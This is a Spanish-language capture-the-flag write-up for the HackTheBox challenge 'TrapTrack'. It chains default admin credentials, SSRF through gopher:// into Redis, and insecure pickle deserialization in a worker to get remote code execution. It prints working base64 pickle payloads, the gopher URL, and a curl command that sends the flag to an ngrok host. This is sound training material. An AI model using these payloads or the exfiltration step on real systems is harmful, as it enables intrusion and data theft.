TrapTrack
8 minutos de lectura
Se nos proporciona una página web como esta:
También tenemos el código fuente del proyecto.
Funcionalidad del sitio web
La aplicación web nos permite ingresar una URL que se almacenará en una base de datos SQLite. Al leer el código de challenge/application/config.py
encontramos credenciales válidas (admin:admin
):
from application.util import generate
import os
class Config(object):
SECRET_KEY = generate(50)
ADMIN_USERNAME = 'admin'
ADMIN_PASSWORD = 'admin'
SESSION_PERMANENT = False
SESSION_TYPE = 'filesystem'
SQLALCHEMY_DATABASE_URI = 'sqlite:////tmp/database.db'
REDIS_HOST = '127.0.0.1'
REDIS_PORT = 6379
REDIS_JOBS = 'jobs'
REDIS_QUEUE = 'jobqueue'
REDIS_NUM_JOBS = 100
class ProductionConfig(Config):
pass
class DevelopmentConfig(Config):
DEBUG = True
class TestingConfig(Config):
TESTING = True
Entonces podemos acceder al panel principal:
La aplicación web nos permite almacenar algunos sitios web:
Como se puede ver, los nuevos sitios web tienen un punto rojo que indica que la web no está activa o aún no se ha probado. Por detrás, un worker toma la URL y realiza una petición. Si la respuesta es exitosa, entonces el punto se actualiza a verde:
Además, utilizando Burp Suite, podemos descubrir que el front-end realiza una petición AJAX para consultar la salud de los sitios web enumerados:
Infraestructura de aplicación
Análisis de código fuente
Hay muchos archivos para analizar:
$ tree
.
├── Dockerfile
├── build-docker.sh
├── config
│ ├── readflag.c
│ ├── redis.conf
│ └── supervisord.conf
├── challenge
│ ├── application
│ │ ├── blueprints
│ │ │ └── routes.py
│ │ ├── cache.py
│ │ ├── config.py
│ │ ├── database.py
│ │ ├── main.py
│ │ ├── static
│ │ │ ├── css
│ │ │ │ ├── bootstrap.min.css
│ │ │ │ ├── login.css
│ │ │ │ ├── main.css
│ │ │ │ └── theme.css
│ │ │ ├── images
│ │ │ │ └── logo.png
│ │ │ └── js
│ │ │ ├── auth.js
│ │ │ ├── bootstrap.min.js
│ │ │ ├── jquery-3.6.0.min.js
│ │ │ └── main.js
│ │ ├── templates
│ │ │ ├── admin.html
│ │ │ └── login.html
│ │ └── util.py
│ ├── flask_session
│ ├── instance
│ ├── requirements.txt
│ ├── run.py
│ └── worker
│ ├── healthcheck.py
│ └── main.py
└── flag.txt
13 directories, 27 files
Además, se ejecutan dos proyectos separados al mismo tiempo (un servidor de Flask dentro de application
y un worker en worker
).
Encontrando el objetivo
Mirando el Dockerfile
, vemos que flag.txt
se encontrará en /root/flag.txt
y hay un binario SUID llamado readflag
que nos permitirá leer la flag siempre que podamos ejecutar comandos en el servidor. Por lo tanto, el objetivo de este reto es obtener ejecución remota de comandos (RCE) para leer la flag:
FROM python:3.8.14-buster
# Install packages
RUN apt-get update \
&& apt-get install -y supervisor gnupg sqlite3 libcurl4-openssl-dev python3-dev python3-pycurl psmisc redis gcc \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# Upgrade pip
RUN python -m pip install --upgrade pip
# Copy flag
COPY flag.txt /root/flag
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
RUN chown -R www-data:www-data /app/flask_session
# Install dependencies
RUN pip install -r /app/requirements.txt
# Setup config
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/redis.conf /etc/redis/redis.conf
COPY config/readflag.c /
# Setup flag reader
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Además, todos los directorios son propiedad de root
a excepción de /app/frask_session
(que es interesante, y me recordó a Acnologia Portal de HTB Cyber Apocalypse 2022). Esto es importante porque no podremos mover el archivo de la flag a un directorio público, porque no tenemos permisos de escritura.
Worker
Empecé a mirar al worker. Básicamente, el worker se conecta a un servidor de Redis que contiene una cola de mensajes:
import redis, pickle, time, base64
from healthcheck import request
config = {
'REDIS_HOST' : '127.0.0.1',
'REDIS_PORT' : 6379,
'REDIS_JOBS' : 'jobs',
'REDIS_QUEUE' : 'jobqueue',
'REDIS_NUM_JOBS' : 100
}
def env(key):
val = False
try:
val = config[key]
finally:
return val
store = redis.StrictRedis(host=env('REDIS_HOST'), port=env('REDIS_PORT'), db=0)
def get_work_item():
job_id = store.rpop(env('REDIS_QUEUE'))
if not job_id:
return False
data = store.hget(env('REDIS_JOBS'), job_id)
job = pickle.loads(base64.b64decode(data))
return job
def incr_field(job, field):
job[field] = job[field] + 1
store.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))
def decr_field(job, field):
job[field] = job[field] - 1
store.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))
def set_field(job, field, val):
job[field] = val
store.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))
def run_worker():
job = get_work_item()
if not job:
return
incr_field(job, 'inprogress')
trapURL = job['trap_url']
response = request(trapURL)
set_field(job, 'health', 1 if response else 0)
incr_field(job, 'completed')
decr_field(job, 'inprogress')
if __name__ == '__main__':
while True:
time.sleep(10)
run_worker()
El worker siempre está consultando la cola de Redis. Cuando un nuevo mensaje llega a la cola, se procesa en get_work_item
:
def get_work_item():
job_id = store.rpop(env('REDIS_QUEUE'))
if not job_id:
return False
data = store.hget(env('REDIS_JOBS'), job_id)
job = pickle.loads(base64.b64decode(data))
return job
Para los jugadores de CTF experimentados, la vulnerabilidad aquí es bastante clara. Hay una vulnerabilidad de deserialización insegura en pickle.loads
(siempre que podamos controlar la variable data
, que proviene de la cola de Redis).
Además, el worker usa una función llamada request
que está en el archivo challenge/worker/healthcheck.py
:
import pycurl
def request(url):
response = False
try:
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.TIMEOUT, 5)
c.setopt(c.VERBOSE, True)
c.setopt(c.FOLLOWLOCATION, True)
response = c.perform_rb().decode('utf-8', errors='ignore')
c.close()
finally:
return response
El worker emplea curl
(bueno, PyCurl
) para realizar las peticiones. Una vez más, los jugadores de CTF experimentados pueden unir los puntos y ver que cuando un reto involucra a Redis, probablemente debe haber un ataque de Server-Side Request Forgery (SSRF) usando el protocolo gopher://
(como en Red Island de HTB Cyber Apocalypse 2022).
Aplicación web de Flask
La aplicación Flask no es tan interesante siempre que entendamos la funcionalidad y la arquitectura del reto.
Quizás algunos métodos interesantes son create_job_queue
y get_job_queue
de challenge/application/cache.py
:
def create_job_queue(trapName, trapURL):
job_id = get_job_id()
data = {
'job_id': int(job_id),
'trap_name': trapName,
'trap_url': trapURL,
'completed': 0,
'inprogress': 0,
'health': 0
}
current_app.redis.hset(env('REDIS_JOBS'), job_id, base64.b64encode(pickle.dumps(data)))
current_app.redis.rpush(env('REDIS_QUEUE'), job_id)
return data
def get_job_queue(job_id):
data = current_app.redis.hget(env('REDIS_JOBS'), job_id)
if data:
return pickle.loads(base64.b64decode(data))
return None
Estos métodos manejan la información del sitio web del usuario: envían el objeto a la cola de Redis serializada con pickle.dumps
y la recupera y deserializa con pickle.loads
(por lo tanto, aquí tenemos otra vulnerabilidad).
Obteniendo RCE
El exploit para este reto no es difícil, pero requiere encadenar varias técnicas.
Deserialización insegura en pickle
Para obtener RCE a partir de pickle.loads
, podemos crear una clase de Python que implemente el método __reduce__
de la siguiente manera (más información en HackTricks):
$ python3 -q
>>> import base64, pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("whoami")', )
...
>>> base64.b64encode(pickle.dumps(Bad()))
b'gASVOgAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIweaW1wb3J0IG9zOyBvcy5zeXN0ZW0oIndob2FtaSIplIWUUpQu'
Usando ese payload, ejecutaremos whoami
al llamar a pickle.loads
sobre el objeto serializado:
>>> pickle.loads(base64.b64decode(b'gASVOgAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIweaW1wb3J0IG9zOyBvcy5zeXN0ZW0oIndob2FtaSIplIWUUpQu'))
rocky
SSRF a Redis
Como necesitamos controlar los mensajes en la cola, debemos hablar con Redis para ello. Para esto, arranqué el contenedor Docker y me conecté:
root@6d48bc730689:/app# redis-cli
127.0.0.1:6379> KEYS *
1) "jobs"
2) "100"
127.0.0.1:6379> GET "100"
"101"
127.0.0.1:6379> HGET "jobs" "100"
"gASVeAAAAAAAAAB9lCiMBmpvYl9pZJRLZIwJdHJhcF9uYW1llIwJV2lraXBlZGlhlIwIdHJhcF91cmyUjBpodHRwczovL3d3dy53aWtpcGVkaWEub3JnL5SMCWNvbXBsZXRlZJRLAYwKaW5wcm9ncmVzc5RLAIwGaGVhbHRolEsBdS4="
Usando HSET
podemos ingresar un nuevo elemento en la cola llamada jobs
:
127.0.0.1:6379> HSET "jobs" "foo" "bar"
(integer) 1
127.0.0.1:6379> HGET "jobs" "foo"
"bar"
Sin embargo, no tenemos acceso a redis-cli
, por lo que necesitamos usar gopher://
y curl
como sigue:
root@6d48bc730689:/app# curl 'gopher://127.0.0.1:6379/_HSET%20%22jobs%22%20%22test%22%20%22ssrf%22'
:1
^C
root@6d48bc730689:/app# curl 'gopher://127.0.0.1:6379/_HGET%20%22jobs%22%20%22test%22'
$4
ssrf
^C
La sintaxis es la misma, pero necesitamos comenzar con un guion bajo (_
) y codificar en URL todos los caracteres (es decir, espacios y comillas dobles).
En este punto, podemos ingresar la URL de gopher://
en el sitio web para almacenar un objeto serializado malicioso de pickle
y lograr RCE cuando el worker deserialice el mensaje.
Explotación
Con las primitivas anteriores, podemos obtener la flag. Tener RCE nos permite usar curl
a un servidor controlado y enviar la flag (la salida de /readflag
). Esto es posible porque la instancia del reto tiene conexión a Internet (puede realizar una petición web a este mismo blog). Entonces, crearemos este objeto malicioso serializado con pickle
:
$ python3 -q
>>> import base64, pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("curl https://abcd-12-34-56-78.ngrok-free.app/$(/readflag | base64 -w 0)")', )
...
>>> base64.b64encode(pickle.dumps(Bad()))
b'gASVewAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxfaW1wb3J0IG9zOyBvcy5zeXN0ZW0oImN1cmwgaHR0cHM6Ly9hYmNkLTEyLTM0LTU2LTc4Lm5ncm9rLWZyZWUuYXBwLyQoL3JlYWRmbGFnIHwgYmFzZTY0IC13IDApIimUhZRSlC4='
La URL proviene de ngrok
, para exponer un servidor local:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
$ ngrok http 8000
ngrok
Announcing ngrok-rust: The ngrok agent as a Rust crate: https://ngrok.com/rust
Session Status online
Account Rocky (Plan: Free)
Version 3.2.1
Region United States (us)
Latency -
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Now we must enter the following gopher://
URL:
gopher://127.0.0.1:6379/_HSET%20%22jobs%22%20%229999%22%20%22gASVewAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxfaW1wb3J0IG9zOyBvcy5zeXN0ZW0oImN1cmwgaHR0cHM6Ly9hYmNkLTEyLTM0LTU2LTc4Lm5ncm9rLWZyZWUuYXBwLyQoL3JlYWRmbGFnIHwgYmFzZTY0IC13IDApIimUhZRSlC4=%22
Ahora tenemos que decirle al worker que cargue nuestro payload malicioso de pickle
, por lo que solicitamos el job_id
9999:
Esto activará el comando curl
y la flag llegará a nuestro servidor:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:127.0.0.1 - - [27/May/2023 03:54:02] code 404, message File not found
::ffff:127.0.0.1 - - [27/May/2023 03:54:02] "GET /SFRCe3RyNHBfajBiX3F1M3Uzc19zc3JmX3B3bjRnMyF9Cg== HTTP/1.1" 404 -
Flag
Y aquí esta la flag:
$ echo SFRCe3RyNHBfajBiX3F1M3Uzc19zc3JmX3B3bjRnMyF9Cg== | base64 -d
HTB{tr4p_j0b_qu3u3s_ssrf_pwn4g3!}